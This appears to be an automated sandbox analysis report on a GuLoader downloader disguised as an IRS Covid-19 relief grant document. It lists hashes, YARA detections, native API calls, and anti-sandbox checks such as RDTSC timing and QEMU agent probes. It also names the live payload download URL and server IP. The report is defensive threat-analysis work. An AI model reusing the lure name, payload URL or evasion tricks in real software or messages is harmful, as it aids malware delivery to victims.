Play interactive tour

Edit tour

Analysis Report IRS_Covid_19_Relief_Grant_Document_docx.exe

Overview

General Information

Sample Name:	IRS_Covid_19_Relief_Grant_Document_docx.exe
Analysis ID:	343212
MD5:	5f85963ecc2a1c3354c2e705f3e8d038
SHA1:	a97cc41833fae623ff219c2dada84733329c8963
SHA256:	b76b24380c31d4be4dfc1d584d5799e1897277828ff523969f123a86f49a37db
Most interesting Screenshot:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected Generic Dropper

Yara detected GuLoader

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Executable has a suspicious name (potential lure to open the executable)

Hides threads from debuggers

Initial sample is a PE file and has a suspicious name

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Yara detected VB6 Downloader Generic

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

IRS_Covid_19_Relief_Grant_Document_docx.exe (PID: 4952 cmdline: 'C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe' MD5: 5F85963ECC2A1C3354C2E705F3E8D038)

IRS_Covid_19_Relief_Grant_Document_docx.exe (PID: 2220 cmdline: 'C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe' MD5: 5F85963ECC2A1C3354C2E705F3E8D038)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: IRS_Covid_19_Relief_Grant_Document_docx.exe PID: 4952	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: IRS_Covid_19_Relief_Grant_Document_docx.exe PID: 4952	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Process Memory Space: IRS_Covid_19_Relief_Grant_Document_docx.exe PID: 2220	JoeSecurity_GenericDropper	Yara detected Generic Dropper	Joe Security
Process Memory Space: IRS_Covid_19_Relief_Grant_Document_docx.exe PID: 2220	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: IRS_Covid_19_Relief_Grant_Document_docx.exe PID: 2220	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for domain / URL

Show sources

Source: https://chengsolution.com/vr/xdark_mkDaCZ89.bin

Virustotal: Detection: 12%

Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: IRS_Covid_19_Relief_Grant_Document_docx.exe

Virustotal: Detection: 29%

Perma Link

Compliance:

Uses 32bit PE files

Show sources

Source: IRS_Covid_19_Relief_Grant_Document_docx.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Uses secure TLS version for HTTPS connections

Show sources

Source: unknown

HTTPS traffic detected: 162.0.209.179:443 -> 192.168.2.3:49722 version: TLS 1.2

Binary contains paths to debug symbols

Show sources

Source:	Binary string: wntdll.pdbUGP source: IRS_Covid_19_Relief_Grant_Document_docx.exe, 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: IRS_Covid_19_Relief_Grant_Document_docx.exe

Networking:

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe

Code function: 1_2_00568C48 InternetReadFile,

1_2_00568C48

Source: unknown

DNS traffic detected: queries for: chengsolution.com

Source: IRS_Covid_19_Relief_Grant_Document_docx.exe, 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp

String found in binary or memory: https://chengsolution.com/vr/xdark_mkDaCZ89.bin

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443

Source: unknown

HTTPS traffic detected: 162.0.209.179:443 -> 192.168.2.3:49722 version: TLS 1.2

System Summary:

Executable has a suspicious name (potential lure to open the executable)

Show sources

Source: IRS_Covid_19_Relief_Grant_Document_docx.exe

Static file information: Suspicious name

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: IRS_Covid_19_Relief_Grant_Document_docx.exe

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9660 NtAllocateVirtualMemory,LdrInitializeThunk,	1_2_1E2A9660
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A96E0 NtFreeVirtualMemory,LdrInitializeThunk,	1_2_1E2A96E0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9860 NtQuerySystemInformation,LdrInitializeThunk,	1_2_1E2A9860
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9610 NtEnumerateValueKey,	1_2_1E2A9610
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9670 NtQueryInformationProcess,	1_2_1E2A9670
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9650 NtQueryValueKey,	1_2_1E2A9650
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A96D0 NtCreateKey,	1_2_1E2A96D0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9730 NtQueryVirtualMemory,	1_2_1E2A9730
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2AA710 NtOpenProcessToken,	1_2_1E2AA710
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9710 NtQueryInformationToken,	1_2_1E2A9710
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9760 NtOpenProcess,	1_2_1E2A9760
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2AA770 NtOpenThread,	1_2_1E2AA770
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9770 NtSetInformationFile,	1_2_1E2A9770
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A97A0 NtUnmapViewOfSection,	1_2_1E2A97A0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9780 NtMapViewOfSection,	1_2_1E2A9780
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9FE0 NtCreateMutant,	1_2_1E2A9FE0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9520 NtWaitForSingleObject,	1_2_1E2A9520
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2AAD30 NtSetContextThread,	1_2_1E2AAD30
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9560 NtWriteFile,	1_2_1E2A9560
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9540 NtReadFile,	1_2_1E2A9540
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A95F0 NtQueryInformationFile,	1_2_1E2A95F0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A95D0 NtClose,	1_2_1E2A95D0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9A20 NtResumeThread,	1_2_1E2A9A20
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9A00 NtProtectVirtualMemory,	1_2_1E2A9A00
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9A10 NtQuerySection,	1_2_1E2A9A10
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9A50 NtCreateFile,	1_2_1E2A9A50
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9A80 NtOpenDirectoryObject,	1_2_1E2A9A80
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9B00 NtSetValueKey,	1_2_1E2A9B00
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2AA3B0 NtGetContextThread,	1_2_1E2AA3B0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9820 NtEnumerateKey,	1_2_1E2A9820
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2AB040 NtSuspendThread,	1_2_1E2AB040
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9840 NtDelayExecution,	1_2_1E2A9840
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A98A0 NtWriteVirtualMemory,	1_2_1E2A98A0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A98F0 NtReadVirtualMemory,	1_2_1E2A98F0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9910 NtAdjustPrivilegesToken,	1_2_1E2A9910
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A9950 NtQueueApcThread,	1_2_1E2A9950
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A99A0 NtCreateSection,	1_2_1E2A99A0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A99D0 NtCreateProcessEx,	1_2_1E2A99D0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_00568723 NtProtectVirtualMemory,	1_2_00568723

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E286E30	1_2_1E286E30
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E32D616	1_2_1E32D616
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E332EF7	1_2_1E332EF7
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E331FF1	1_2_1E331FF1
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E33DFCE	1_2_1E33DFCE
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E27841F	1_2_1E27841F
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E32D466	1_2_1E32D466
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E260D20	1_2_1E260D20
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E332D07	1_2_1E332D07
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E331D55	1_2_1E331D55
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E292581	1_2_1E292581
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E27D5E0	1_2_1E27D5E0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E3325DD	1_2_1E3325DD
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E31FA2B	1_2_1E31FA2B
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E3322AE	1_2_1E3322AE
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E332B28	1_2_1E332B28
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28AB40	1_2_1E28AB40
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29EBB0	1_2_1E29EBB0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E32DBD2	1_2_1E32DBD2
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E3203DA	1_2_1E3203DA
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E33E824	1_2_1E33E824
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28A830	1_2_1E28A830
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E321002	1_2_1E321002
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2920A0	1_2_1E2920A0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E3320A8	1_2_1E3320A8
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E27B090	1_2_1E27B090
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E3328EC	1_2_1E3328EC
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E284120	1_2_1E284120
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E26F900	1_2_1E26F900
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2899BF	1_2_1E2899BF

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe

Code function: String function: 1E26B150 appears 72 times

Source: IRS_Covid_19_Relief_Grant_Document_docx.exe, 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamelutrin.exe vs IRS_Covid_19_Relief_Grant_Document_docx.exe
Source: IRS_Covid_19_Relief_Grant_Document_docx.exe, 00000000.00000002.248906191.00000000021B0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameuser32j% vs IRS_Covid_19_Relief_Grant_Document_docx.exe
Source: IRS_Covid_19_Relief_Grant_Document_docx.exe, 00000001.00000002.621190063.000000001DDB0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameCRYPT32.DLL.MUIj% vs IRS_Covid_19_Relief_Grant_Document_docx.exe
Source: IRS_Covid_19_Relief_Grant_Document_docx.exe, 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs IRS_Covid_19_Relief_Grant_Document_docx.exe
Source: IRS_Covid_19_Relief_Grant_Document_docx.exe, 00000001.00000000.240109538.0000000000415000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamelutrin.exe vs IRS_Covid_19_Relief_Grant_Document_docx.exe
Source: IRS_Covid_19_Relief_Grant_Document_docx.exe, 00000001.00000002.621140002.000000001DC60000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemswsock.dll.muij% vs IRS_Covid_19_Relief_Grant_Document_docx.exe
Source: IRS_Covid_19_Relief_Grant_Document_docx.exe	Binary or memory string: OriginalFilenamelutrin.exe vs IRS_Covid_19_Relief_Grant_Document_docx.exe

Source: IRS_Covid_19_Relief_Grant_Document_docx.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@1/1

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe

File created: C:\Users\user\AppData\Local\Temp\~DF1BB46D3EBC25FFB7.TMP

Jump to behavior

Source: IRS_Covid_19_Relief_Grant_Document_docx.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Jump to behavior

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: IRS_Covid_19_Relief_Grant_Document_docx.exe

Virustotal: Detection: 29%

Source: unknown	Process created: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe 'C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe'
Source: unknown	Process created: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe 'C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe'
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Process created: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe 'C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe'	Jump to behavior

Source:	Binary string: wntdll.pdbUGP source: IRS_Covid_19_Relief_Grant_Document_docx.exe, 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: IRS_Covid_19_Relief_Grant_Document_docx.exe

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match	File source: Process Memory Space: IRS_Covid_19_Relief_Grant_Document_docx.exe PID: 4952, type: MEMORY
Source: Yara match	File source: Process Memory Space: IRS_Covid_19_Relief_Grant_Document_docx.exe PID: 2220, type: MEMORY

Yara detected VB6 Downloader Generic

Show sources

Source: Yara match	File source: Process Memory Space: IRS_Covid_19_Relief_Grant_Document_docx.exe PID: 4952, type: MEMORY
Source: Yara match	File source: Process Memory Space: IRS_Covid_19_Relief_Grant_Document_docx.exe PID: 2220, type: MEMORY

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_0040822E push esp; ret	0_2_00408235
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_00406096 push esp; iretd	0_2_00406097
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_004061B4 push ebx; iretd	0_2_00406247
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A982F8 push eax; ret	0_2_02A982F9
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A91250 push edi; ret	0_2_02A91252
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A993B0 pushfd ; iretd	0_2_02A993B1
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2BD0D1 push ecx; ret	1_2_1E2BD0E4
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_005657D0 push 00000057h; ret	1_2_005657E6

Hooking and other Techniques for Hiding and Protection:

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Show sources

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A9226A	0_2_02A9226A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A92319	0_2_02A92319
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A9235E	0_2_02A9235E
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A9226A	0_2_02A9226A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A929A2	0_2_02A929A2
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A9297A	0_2_02A9297A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A92975	0_2_02A92975
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_0056334D	1_2_0056334D
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_005633A5	1_2_005633A5
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_0056347E	1_2_0056347E
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_0056342A	1_2_0056342A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_005634CE	1_2_005634CE
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_00563572	1_2_00563572
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_00563526	1_2_00563526
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_005635C2	1_2_005635C2
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_005635E7	1_2_005635E7
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_00563635	1_2_00563635
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_005636DA	1_2_005636DA
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_005636A2	1_2_005636A2
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_00567FDD LoadLibraryA,	1_2_00567FDD

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Show sources

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 0000000002A90525 second address: 0000000002A90525 instructions:
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 0000000002A97A71 second address: 0000000002A97A71 instructions:
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 0000000002A93503 second address: 0000000002A93503 instructions:
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 0000000002A9611E second address: 0000000002A9611E instructions:
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 0000000002A9371E second address: 0000000002A9371E instructions:
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 00000000005622E9 second address: 00000000005622E9 instructions:
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 00000000005623B2 second address: 00000000005623B2 instructions:
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 0000000000562545 second address: 0000000000562545 instructions:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: IRS_Covid_19_Relief_Grant_Document_docx.exe

Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 0000000002A90525 second address: 0000000002A90525 instructions:
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 0000000002A97A71 second address: 0000000002A97A71 instructions:
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 0000000002A93503 second address: 0000000002A93503 instructions:
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 0000000002A9611E second address: 0000000002A9611E instructions:
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 0000000002A9371E second address: 0000000002A9371E instructions:
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 00000000005622E9 second address: 00000000005622E9 instructions:
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 00000000005623B2 second address: 00000000005623B2 instructions:
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 0000000000562545 second address: 0000000000562545 instructions:
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 0000000000562A3F second address: 0000000000562A9B instructions: 0x00000000 rdtsc 0x00000002 popad 0x00000003 mov dword ptr [eax+20h], ecx 0x00000006 test cx, ax 0x00000009 mov esi, dword ptr [edi+00000800h] 0x0000000f mov dword ptr [eax+18h], esi 0x00000012 add esi, dword ptr [edi+00000850h] 0x00000018 mov dword ptr [eax+1Ch], esi 0x0000001b test al, al 0x0000001d cmp ax, cx 0x00000020 cmp edx, edx 0x00000022 cmp dword ptr [ebp+70h], 01h 0x00000026 je 00007F01FCB6CE2Dh 0x0000002c jmp 00007F01FCB6CC96h 0x0000002e test bl, al 0x00000030 cmp ch, bh 0x00000032 pushad 0x00000033 mov ebx, 00000065h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	RDTSC instruction interceptor: First address: 000000000040896E second address: 0000000000408974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe

Code function: 0_2_02A972AB rdtsc

0_2_02A972AB

